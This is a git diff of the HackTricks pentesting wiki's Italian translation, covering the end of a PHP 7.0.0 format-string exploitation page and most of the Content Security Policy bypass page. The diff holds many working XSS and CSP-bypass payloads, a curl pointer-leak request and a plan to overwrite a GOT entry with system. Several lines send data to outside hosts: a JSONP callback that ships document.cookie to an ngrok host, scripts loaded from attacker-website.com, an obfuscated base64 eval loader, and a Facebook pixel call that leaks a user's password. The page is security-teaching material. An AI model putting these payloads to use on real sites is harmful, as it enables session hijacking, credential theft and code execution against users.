Quando l'input utente controlla il nome della classe (es., `new $_GET['model']()`), PHP 7.0.0 ha introdotto un bug transitorio durante il refactor di `Throwable` in cui il motore interpretava per errore il nome della classe come una stringa di formato printf durante la risoluzione. Questo abilita i classici primitivi in stile printf all'interno di PHP: leaks con `%p`, controllo del conteggio di scrittura con specificatori di larghezza, e scritture arbitrarie con `%n` contro puntatori in-process (ad esempio, entry della GOT su build ELF).
Pattern minimo di riproduzione vulnerabile:
```php
<?php
$model = $_GET['model'];
$object = new $model();
```
Schema di sfruttamento (dal riferimento):
- Leak addresses via `%p` nel nome della classe per trovare un target scrivibile:
```bash
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
```
- Usa parametri posizionali e specifier di width per impostare un conteggio esatto di byte, poi `%n` per scrivere quel valore in un indirizzo raggiungibile nello stack, mirando a uno slot GOT (es., `free`) per sovrascriverlo parzialmente verso `system`.
- Innesca la funzione dirottata passando un nome di classe contenente una shell pipe per raggiungere `system("id")`.
Note:
- Funziona solo su PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); corretto nelle release successive. Gravità: critica se esiste l'instanziazione arbitraria di classi.
- I payload tipici concatenano molti `%p` per scorrere lo stack, poi `%.<width>d%<pos>$n` per ottenere la sovrascrittura parziale desiderata.
## Riferimenti
- [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../../banners/hacktricks-training.md}}

372
src/pentesting-web/content-security-policy-csp-bypass/README.md
View File

@ -2,28 +2,28 @@
{{#include ../../banners/hacktricks-training.md}}
## What is CSP
## Che cos'è CSP
La Content Security Policy (CSP) è riconosciuta come una tecnologia del browser, principalmente mirata a **proteggere contro attacchi come il cross-site scripting (XSS)**. Funziona definendo e dettagliando percorsi e fonti da cui le risorse possono essere caricate in modo sicuro dal browser. Queste risorse comprendono una gamma di elementi come immagini, frame e JavaScript. Ad esempio, una policy potrebbe consentire il caricamento e l'esecuzione di risorse dallo stesso dominio (self), inclusi risorse inline e l'esecuzione di codice stringa tramite funzioni come `eval`, `setTimeout` o `setInterval`.
Content Security Policy (CSP) è riconosciuta come una tecnologia del browser, pensata principalmente per **proteggere da attacchi come cross-site scripting (XSS)**. Funziona definendo e specificando percorsi e origini dalle quali il browser può caricare in modo sicuro le risorse. Queste risorse comprendono elementi come immagini, frame e JavaScript. Ad esempio, una policy potrebbe consentire il caricamento e l'esecuzione di risorse dallo stesso dominio (self), incluse risorse inline e l'esecuzione di codice in stringa tramite funzioni come `eval`, `setTimeout` o `setInterval`.
L'implementazione della CSP avviene tramite **header di risposta** o incorporando **elementi meta nella pagina HTML**. Seguendo questa policy, i browser applicano proattivamente queste disposizioni e bloccano immediatamente eventuali violazioni rilevate.
L'implementazione di CSP avviene tramite **header di risposta** o inserendo **elementi meta nella pagina HTML**. Seguendo questa policy, i browser applicano proattivamente tali disposizioni e bloccano immediatamente qualsiasi violazione rilevata.
- Implementato tramite header di risposta:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
- Implementato tramite tag meta:
- Implementato tramite meta tag:
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### Headers
### Intestazioni
CSP può essere applicato o monitorato utilizzando questi header:
CSP può essere applicato o monitorato usando queste intestazioni:
- `Content-Security-Policy`: Applica il CSP; il browser blocca eventuali violazioni.
- `Content-Security-Policy-Report-Only`: Utilizzato per il monitoraggio; riporta le violazioni senza bloccarle. Ideale per testare in ambienti di pre-produzione.
- `Content-Security-Policy`: Applica la CSP; il browser blocca eventuali violazioni.
- `Content-Security-Policy-Report-Only`: Usato per il monitoraggio; segnala le violazioni senza bloccarle. Ideale per test in ambienti pre-produzione.
### Defining Resources
### Definizione delle risorse
CSP limita le origini per il caricamento sia di contenuti attivi che passivi, controllando aspetti come l'esecuzione di JavaScript inline e l'uso di `eval()`. Un esempio di policy è:
```bash
@ -39,42 +39,42 @@ object-src 'none';
```
### Direttive
- **script-src**: Consente fonti specifiche per JavaScript, inclusi URL, script inline e script attivati da gestori di eventi o fogli di stile XSLT.
- **default-src**: Imposta una politica predefinita per il recupero delle risorse quando mancano direttive di recupero specifiche.
- **child-src**: Specifica le risorse consentite per i worker web e i contenuti dei frame incorporati.
- **connect-src**: Limita gli URL che possono essere caricati utilizzando interfacce come fetch, WebSocket, XMLHttpRequest.
- **frame-src**: Limita gli URL per i frame.
- **frame-ancestors**: Specifica quali fonti possono incorporare la pagina corrente, applicabile a elementi come `<frame>`, `<iframe>`, `<object>`, `<embed>`, e `<applet>`.
- **img-src**: Definisce le fonti consentite per le immagini.
- **font-src**: Specifica fonti valide per i font caricati utilizzando `@font-face`.
- **manifest-src**: Definisce le fonti consentite per i file di manifest dell'applicazione.
- **media-src**: Definisce le fonti consentite per il caricamento di oggetti multimediali.
- **object-src**: Definisce le fonti consentite per gli elementi `<object>`, `<embed>`, e `<applet>`.
- **base-uri**: Specifica gli URL consentiti per il caricamento utilizzando elementi `<base>`.
- **form-action**: Elenca gli endpoint validi per le sottomissioni di moduli.
- **plugin-types**: Limita i tipi mime che una pagina può invocare.
- **upgrade-insecure-requests**: Istruisce i browser a riscrivere gli URL HTTP in HTTPS.
- **script-src**: Consente sorgenti specifiche per JavaScript, incluse URL, script inline e script attivati da event handler o fogli di stile XSLT.
- **default-src**: Imposta una policy predefinita per il recupero delle risorse quando non sono presenti direttive di fetch specifiche.
- **child-src**: Specifica le risorse consentite per web worker e contenuti di frame incorporati.
- **connect-src**: Restringe le URL che possono essere caricate usando interfacce come fetch, WebSocket, XMLHttpRequest.
- **frame-src**: Restringe le URL per i frame.
- **frame-ancestors**: Specifica quali sorgenti possono incorporare la pagina corrente, applicabile a elementi come `<frame>`, `<iframe>`, `<object>`, `<embed>`, e `<applet>`.
- **img-src**: Definisce le sorgenti consentite per le immagini.
- **font-src**: Specifica le sorgenti valide per i font caricati tramite `@font-face`.
- **manifest-src**: Definisce le sorgenti consentite per i file manifesto dell'applicazione.
- **media-src**: Definisce le sorgenti consentite per il caricamento di oggetti media.
- **object-src**: Definisce le sorgenti consentite per gli elementi `<object>`, `<embed>`, e `<applet>`.
- **base-uri**: Specifica le URL consentite per il caricamento tramite elementi `<base>`.
- **form-action**: Elenca gli endpoint validi per l'invio dei form.
- **plugin-types**: Restringe i mime type che una pagina può invocare.
- **upgrade-insecure-requests**: Istruisce i browser a riscrivere le URL HTTP in HTTPS.
- **sandbox**: Applica restrizioni simili all'attributo sandbox di un `<iframe>`.
- **report-to**: Specifica un gruppo a cui verrà inviato un rapporto se la politica viene violata.
- **worker-src**: Specifica fonti valide per script Worker, SharedWorker o ServiceWorker.
- **prefetch-src**: Specifica fonti valide per le risorse che verranno recuperate o pre-recuperate.
- **navigate-to**: Limita gli URL a cui un documento può navigare con qualsiasi mezzo (a, modulo, window.location, window.open, ecc.)
- **report-to**: Specifica un gruppo a cui inviare un report se la policy viene violata.
- **worker-src**: Specifica le sorgenti valide per gli script di Worker, SharedWorker o ServiceWorker.
- **prefetch-src**: Specifica le sorgenti valide per risorse che verranno recuperate o precaricate.
- **navigate-to**: Restringe le URL verso cui un documento può navigare con qualsiasi mezzo (a, form, window.location, window.open, ecc.)
### Fonti
### Origini
- `*`: Consente tutti gli URL tranne quelli con schemi `data:`, `blob:`, `filesystem:`.
- `*`: Consente tutte le URL tranne quelle con gli schemi `data:`, `blob:`, `filesystem:`.
- `'self'`: Consente il caricamento dallo stesso dominio.
- `'data'`: Consente il caricamento delle risorse tramite lo schema data (ad es., immagini codificate in Base64).
- `'none'`: Blocca il caricamento da qualsiasi fonte.
- `'unsafe-eval'`: Consente l'uso di `eval()` e metodi simili, non raccomandato per motivi di sicurezza.
- `'unsafe-hashes'`: Abilita gestori di eventi inline specifici.
- `'unsafe-inline'`: Consente l'uso di risorse inline come `<script>` o `<style>` inline, non raccomandato per motivi di sicurezza.
- `'nonce'`: Una whitelist per script inline specifici utilizzando un nonce crittografico (numero usato una sola volta).
- Se hai un'esecuzione JS limitata, è possibile ottenere un nonce utilizzato all'interno della pagina con `doc.defaultView.top.document.querySelector("[nonce]")` e poi riutilizzarlo per caricare uno script malevolo (se strict-dynamic è utilizzato, qualsiasi fonte consentita può caricare nuove fonti quindi questo non è necessario), come in:
- `'data'`: Consente il caricamento di risorse tramite lo schema data (es., immagini codificate in Base64).
- `'none'`: Blocca il caricamento da qualsiasi sorgente.
- `'unsafe-eval'`: Consente l'uso di `eval()` e metodi simili, sconsigliato per motivi di sicurezza.
- `'unsafe-hashes'`: Abilita specifici event handler inline.
- `'unsafe-inline'`: Consente l'uso di risorse inline come `<script>` o `<style>` inline, sconsigliato per motivi di sicurezza.
- `'nonce'`: Una whitelist per script inline specifici usando un nonce crittografico (numero usato una volta).
- Se hai un'esecuzione JS limitata è possibile ottenere un nonce già usato all'interno della pagina con `doc.defaultView.top.document.querySelector("[nonce]")` e poi riutilizzarlo per caricare uno script malevolo (se è usato strict-dynamic, qualsiasi sorgente consentita può caricare nuove sorgenti quindi questo non è necessario), come in:
<details>
<summary>Carica script riutilizzando nonce</summary>
<summary>Carica script riutilizzando il nonce</summary>
```html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
@ -88,18 +88,18 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```
</details>
- `'sha256-<hash>'`: Aggiunge alla whitelist gli script con un hash sha256 specifico.
- `'strict-dynamic'`: Consente il caricamento di script da qualsiasi fonte se è stato aggiunto alla whitelist tramite un nonce o un hash.
- `'host'`: Specifica un host specifico, come `example.com`.
- `https:`: Limita gli URL a quelli che utilizzano HTTPS.
- `blob:`: Consente il caricamento di risorse da URL Blob (ad es., URL Blob creati tramite JavaScript).
- `'sha256-<hash>'`: Inserisce nella whitelist gli script con uno specifico hash sha256.
- `'strict-dynamic'`: Permette il caricamento di script da qualsiasi origine se sono stati messi in whitelist tramite un nonce o hash.
- `'host'`: Specifica un host, ad esempio `example.com`.
- `https:`: Restringe gli URL a quelli che usano HTTPS.
- `blob:`: Consente di caricare risorse da Blob URL (es. Blob URL creati tramite JavaScript).
- `filesystem:`: Consente il caricamento di risorse dal filesystem.
- `'report-sample'`: Include un campione del codice violante nel rapporto di violazione (utile per il debug).
- `'strict-origin'`: Simile a 'self' ma garantisce che il livello di sicurezza del protocollo delle fonti corrisponda al documento (solo origini sicure possono caricare risorse da origini sicure).
- `'strict-origin-when-cross-origin'`: Invia URL completi quando si effettuano richieste della stessa origine, ma invia solo l'origine quando la richiesta è cross-origin.
- `'unsafe-allow-redirects'`: Consente il caricamento di risorse che reindirizzeranno immediatamente a un'altra risorsa. Non raccomandato poiché indebolisce la sicurezza.
- `'report-sample'`: Include un esempio del codice violante nel report di violazione (utile per il debugging).
- `'strict-origin'`: Simile a 'self' ma garantisce che il livello di sicurezza del protocollo delle sorgenti corrisponda a quello del documento (solo origini sicure possono caricare risorse da origini sicure).
- `'strict-origin-when-cross-origin'`: Invia URL completi quando effettua richieste same-origin ma invia solo l'origine quando la richiesta è cross-origin.
- `'unsafe-allow-redirects'`: Consente il caricamento di risorse che reindirizzano immediatamente a un'altra risorsa. Non raccomandato perché indebolisce la sicurezza.
## Regole CSP Non Sicure
## Unsafe CSP Rules
### 'unsafe-inline'
```yaml
@ -107,7 +107,8 @@ Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
Payload funzionante: `"/><script>alert(1);</script>`
#### self + 'unsafe-inline' tramite Iframes
#### self + 'unsafe-inline' tramite iframe
{{#ref}}
csp-bypass-self-+-unsafe-inline-with-iframes.md
@ -116,7 +117,7 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
### 'unsafe-eval'
> [!CAUTION]
> Questo non funziona, per maggiori informazioni [**controlla questo**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
> Questo non funziona, per maggiori informazioni [**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
@ -126,13 +127,13 @@ Payload funzionante:
```
### strict-dynamic
Se riesci in qualche modo a far sì che un **codice JS consentito crei un nuovo tag script** nel DOM con il tuo codice JS, poiché è uno script consentito a crearlo, il **nuovo tag script sarà autorizzato ad essere eseguito**.
Se in qualche modo puoi far sì che un **codice JS consentito crei un nuovo script tag** nel DOM con il tuo codice JS, perché uno script consentito lo sta creando, il **nuovo script tag sarà autorizzato a essere eseguito**.
### Wildcard (*)
### Wildcard (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
Payload funzionante:
Funzionante payload:
```html
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
@ -143,7 +144,7 @@ Payload funzionante:
```yaml
Content-Security-Policy: script-src 'self' ;
```
Payload funzionanti:
Payloads funzionanti:
```html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
@ -153,26 +154,26 @@ Payload funzionanti:
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
Se puoi caricare un file JS, puoi bypassare questo CSP:
Se puoi caricare un file JS puoi bypassare questa CSP:
Payload funzionante:
```html
"/>'><script src="/uploads/picture.png.js"></script>
```
Tuttavia, è altamente probabile che il server **stia convalidando il file caricato** e permetterà solo di **caricare determinati tipi di file**.
Tuttavia, è molto probabile che il server stia **validando il file caricato** e permetta solo di **caricare determinati tipi di file**.
Inoltre, anche se potessi caricare un **codice JS all'interno** di un file utilizzando un'estensione accettata dal server (come: _script.png_), questo non sarà sufficiente perché alcuni server come il server apache **selezionano il tipo MIME del file in base all'estensione** e browser come Chrome **rifiuteranno di eseguire codice Javascript** all'interno di qualcosa che dovrebbe essere un'immagine. "Speriamo", ci siano errori. Ad esempio, da un CTF ho appreso che **Apache non conosce** l'estensione _**.wave**_, quindi non la serve con un **tipo MIME come audio/\***.
Moreover, even if you could upload a **JS code inside** a file using an extension accepted by the server (like: _script.png_) this won't be enough because some servers like apache server **select MIME type of the file based on the extension** and browsers like Chrome will **reject to execute Javascript** code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that **Apache doesn't know** the _**.wave**_ extension, therefore it doesn't serve it with a **MIME type like audio/***.
Da qui, se trovi un XSS e un caricamento di file, e riesci a trovare un **estensione malinterpretata**, potresti provare a caricare un file con quell'estensione e il contenuto dello script. Oppure, se il server sta controllando il formato corretto del file caricato, crea un polyglot ([alcuni esempi di polyglot qui](https://github.com/Polydet/polyglot-database)).
Da qui, se trovi una XSS e un upload di file, e riesci a trovare un'**misinterpreted extension**, potresti provare a caricare un file con quella estensione contenente il contenuto dello script. Oppure, se il server verifica il formato corretto del file caricato, crea un polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
### Form-action
Se non è possibile iniettare JS, potresti comunque provare a esfiltrare, ad esempio, credenziali **iniettando un'azione del modulo** (e magari aspettandoti che i gestori di password compilino automaticamente le password). Puoi trovare un [**esempio in questo report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Inoltre, nota che `default-src` non copre le azioni del modulo.
Se non è possibile iniettare JS, puoi comunque provare a esfiltrare per esempio credenziali **iniettando un form action** (e magari sperando che i password manager compilino automaticamente le password). You can find an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Inoltre, nota che `default-src` non copre i form actions.
### Endpoint di terze parti + ('unsafe-eval')
### Third Party Endpoints + ('unsafe-eval')
> [!WARNING]
> Per alcuni dei seguenti payload **`unsafe-eval` non è nemmeno necessario**.
> Per alcuni dei payload seguenti **`unsafe-eval` non è nemmeno necessario**.
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
@ -197,10 +198,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Payloads usando Angular + una libreria con funzioni che restituiscono l'oggetto `window` ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
#### Payloads che utilizzano Angular + una library con functions che restituiscono l'oggetto `window` ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!TIP]
> Il post mostra che puoi **caricare** tutte le **librerie** da `cdn.cloudflare.com` (o qualsiasi altro repository di librerie JS consentito), eseguire tutte le funzioni aggiunte da ciascuna libreria e controllare **quali funzioni di quali librerie restituiscono l'oggetto `window`**.
> L'articolo mostra che puoi caricare tutte le **libraries** da `cdn.cloudflare.com` (o qualsiasi altro repo di JS libraries consentito), eseguire tutte le **functions** aggiunte di ciascuna library e verificare **quali functions di quali libraries restituiscono l'oggetto `window`**.
```html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@ -230,9 +231,9 @@ Angular XSS da un nome di classe:
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
#### Abusare del codice JS di google recaptcha
#### Abuso di google recaptcha JS code
Secondo [**questo writeup CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves), puoi abusare di [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) all'interno di un CSP per eseguire codice JS arbitrario bypassando il CSP:
Secondo [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) puoi abusare di [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) all'interno di una CSP per eseguire arbitrary JS code eludendo la CSP:
```html
<div
ng-controller="CarouselController as c"
@ -243,7 +244,7 @@ ng-init="c.init()"
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
Più [**payloads da questo writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
Altri [**payloads from this writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
@ -260,21 +261,21 @@ b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
```
#### Abusare di www.google.com per redirect aperti
#### Abuso di www.google.com per open redirect
Il seguente URL reindirizza a example.com (da [qui](https://www.landh.tech/blog/20240304-google-hack-50000/)):
La seguente URL reindirizza a example.com (da [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
Abusare di \*.google.com/script.google.com
Abuso di \*.google.com/script.google.com
È possibile abusare di Google Apps Script per ricevere informazioni in una pagina all'interno di script.google.com. Come è [fatto in questo rapporto](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
È possibile abusare di Google Apps Script per ricevere informazioni in una pagina all'interno di script.google.com. Come mostrato in questo [report](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
### Endpoint di terze parti + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Scenari come questo in cui `script-src` è impostato su `self` e un dominio particolare che è nella whitelist possono essere aggirati utilizzando JSONP. Gli endpoint JSONP consentono metodi di callback insicuri che permettono a un attaccante di eseguire XSS, payload funzionante:
Scenari come questo, in cui `script-src` è impostato su `self` e un dominio particolare incluso nella whitelist, possono essere bypassati usando JSONP. Gli endpoint JSONP consentono metodi di callback insicuri che permettono a un attacker di eseguire XSS, payload funzionante:
```html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -288,15 +289,15 @@ https://www.youtube.com/oembed?callback=alert;
```html
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene endpoint JSONP pronti all'uso per bypassare la CSP di diversi siti web.**
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene endpoint JSONP pronti all'uso per CSP bypass di diversi siti web.**
La stessa vulnerabilità si verificherà se l'**endpoint fidato contiene un Open Redirect** perché se l'endpoint iniziale è fidato, i redirect sono fidati.
La stessa vulnerabilità si verifica se l'endpoint trusted contiene un Open Redirect, perché se l'endpoint iniziale è trusted, anche i redirect sono considerati trusted.
### Abusi di Terze Parti
### Abusi di terze parti
Come descritto nel [seguente post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), ci sono molti domini di terze parti, che potrebbero essere consentiti da qualche parte nella CSP, che possono essere abusati per esfiltrare dati o eseguire codice JavaScript. Alcuni di questi terzi sono:
Come descritto nel [post seguente](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), esistono molti domini di terze parti che potrebbero essere consentiti nella CSP e che possono essere abusati per exfiltrate data o per eseguire codice JavaScript. Alcuni di questi fornitori di terze parti sono:
| Entità | Dominio Consentito | Capacità |
| Entità | Dominio consentito | Capacità |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
@ -307,90 +308,92 @@ Come descritto nel [seguente post](https://sensepost.com/blog/2023/dress-code-th
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
Se trovi uno dei domini consentiti nella CSP del tuo obiettivo, è probabile che tu possa bypassare la CSP registrandoti sul servizio di terze parti e, o esfiltrare dati a quel servizio o eseguire codice.
Se trovi uno qualsiasi dei domini consentiti nella CSP del tuo target, è probabile che tu possa bypassare la CSP registrandoti sul servizio di terze parti e quindi o exfiltrate data verso quel servizio oppure eseguire codice.
Ad esempio, se trovi la seguente CSP:
```
Content-Security-Policy​: default-src 'self’ www.facebook.com;​
```
or
o
```
Content-Security-Policy​: connect-src www.facebook.com;​
```
Dovresti essere in grado di esfiltrare dati, similmente a come è sempre stato fatto con [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). In questo caso, segui questi passaggi generali:
Dovresti essere in grado di esfiltrare dati, in modo simile a come è sempre stato fatto con [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). In questo caso, segui questi passaggi generali:
1. Crea un account sviluppatore Facebook qui.
2. Crea una nuova app "Facebook Login" e seleziona "Sito web".
3. Vai su "Impostazioni -> Base" e ottieni il tuo "App ID".
4. Nel sito target da cui vuoi esfiltrare dati, puoi esfiltrare dati utilizzando direttamente il gadget SDK di Facebook "fbq" attraverso un "customEvent" e il payload dei dati.
5. Vai al tuo "Event Manager" dell'app e seleziona l'applicazione che hai creato (nota che il gestore eventi potrebbe trovarsi in un URL simile a questo: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Seleziona la scheda "Test Events" per vedere gli eventi inviati dal "tuo" sito web.
1. Crea un Facebook Developer account qui.
2. Crea una nuova app "Facebook Login" e seleziona "Website".
3. Vai su "Settings -> Basic" e recupera il tuo "App ID"
4. Nel sito target da cui vuoi esfiltrare i dati, puoi farlo usando direttamente il gadget del Facebook SDK "fbq" tramite un "customEvent" e il relativo payload.
5. Vai al "Event Manager" della tua App e seleziona l'applicazione che hai creato (nota che l'event manager può essere trovato in un URL simile a questo: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
6. Seleziona la tab "Test Events" per vedere gli eventi inviati dal "tuo" sito web.
Poi, dal lato della vittima, esegui il seguente codice per inizializzare il pixel di tracciamento di Facebook per puntare all'app-id dell'account sviluppatore dell'attaccante e emettere un evento personalizzato come questo:
Poi, sul lato della vittima, esegui il seguente codice per inizializzare il Facebook tracking pixel in modo che punti all'app-id dell'account Facebook Developer dell'attaccante e emettere un custom event come segue:
```JavaScript
fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});
```
Per quanto riguarda gli altri sette domini di terze parti specificati nella tabella precedente, ci sono molti altri modi in cui puoi abusarne. Fai riferimento al precedente [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) per ulteriori spiegazioni su altri abusi di terze parti.
Per quanto riguarda gli altri sette domini di terze parti specificati nella tabella precedente, ci sono molti altri modi in cui puoi abusarne. Consulta il precedente [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) per spiegazioni aggiuntive su altri abusi di terze parti.
### Bypass tramite RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
Oltre alla redirezione sopra menzionata per bypassare le restrizioni sui percorsi, c'è un'altra tecnica chiamata Relative Path Overwrite (RPO) che può essere utilizzata su alcuni server.
Oltre alla redirezione sopracitata per aggirare le restrizioni di percorso, esiste un'altra tecnica chiamata Relative Path Overwrite (RPO) che può essere utilizzata su alcuni server.
Ad esempio, se il CSP consente il percorso `https://example.com/scripts/react/`, può essere bypassato come segue:
Ad esempio, se CSP permette il percorso `https://example.com/scripts/react/`, può essere aggirato come segue:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
Il browser caricherà infine `https://example.com/scripts/angular/angular.js`.
Questo funziona perché per il browser stai caricando un file chiamato `..%2fangular%2fangular.js` situato sotto `https://example.com/scripts/react/`, che è conforme al CSP.
Questo funziona perché per il browser stai caricando un file chiamato `..%2fangular%2fangular.js` situato sotto `https://example.com/scripts/react/`, il che è conforme alla CSP.
∑, lo decodificheranno, richiedendo effettivamente `https://example.com/scripts/react/../angular/angular.js`, che è equivalente a `https://example.com/scripts/angular/angular.js`.
Successivamente, verrà decodificato, richiedendo effettivamente `https://example.com/scripts/react/../angular/angular.js`, che è equivalente a `https://example.com/scripts/angular/angular.js`.
Sfruttando **questa incoerenza nell'interpretazione degli URL tra il browser e il server, le regole del percorso possono essere eluse**.
**Sfruttando questa inconsistenza nell'interpretazione degli URL tra il browser e il server, le regole sui percorsi possono essere eluse.**
La soluzione è non trattare `%2f` come `/` sul lato server, garantendo un'interpretazione coerente tra il browser e il server per evitare questo problema.
La soluzione è non trattare `%2f` come `/` lato server, garantendo un'interpretazione coerente tra browser e server per evitare questo problema.
Esempio online:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Esecuzione JS negli Iframes
### Esecuzione JS negli iframe
{{#ref}}
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
{{#endref}}
### mancante **base-uri**
### Mancanza di **base-uri**
Se la direttiva **base-uri** è mancante, puoi abusarne per eseguire un [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
Se la direttiva **base-uri** è assente puoi abusarne per eseguire una [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
Inoltre, se la **pagina sta caricando uno script utilizzando un percorso relativo** (come `<script src="/js/app.js">`) utilizzando un **Nonce**, puoi abusare del **tag** **base** per farlo **caricare** lo script dal **tuo server, ottenendo un XSS.**\
Se la pagina vulnerabile è caricata con **httpS**, utilizza un URL httpS nella base.
Moreover, if the **page is loading a script using a relative path** (like `<script src="/js/app.js">`) using a **Nonce**, you can abuse the **base** **tag** to make it **load** the script from **your own server achieving a XSS.**\
Se la pagina vulnerabile è caricata con **httpS**, usa un URL httpS nel base.
```html
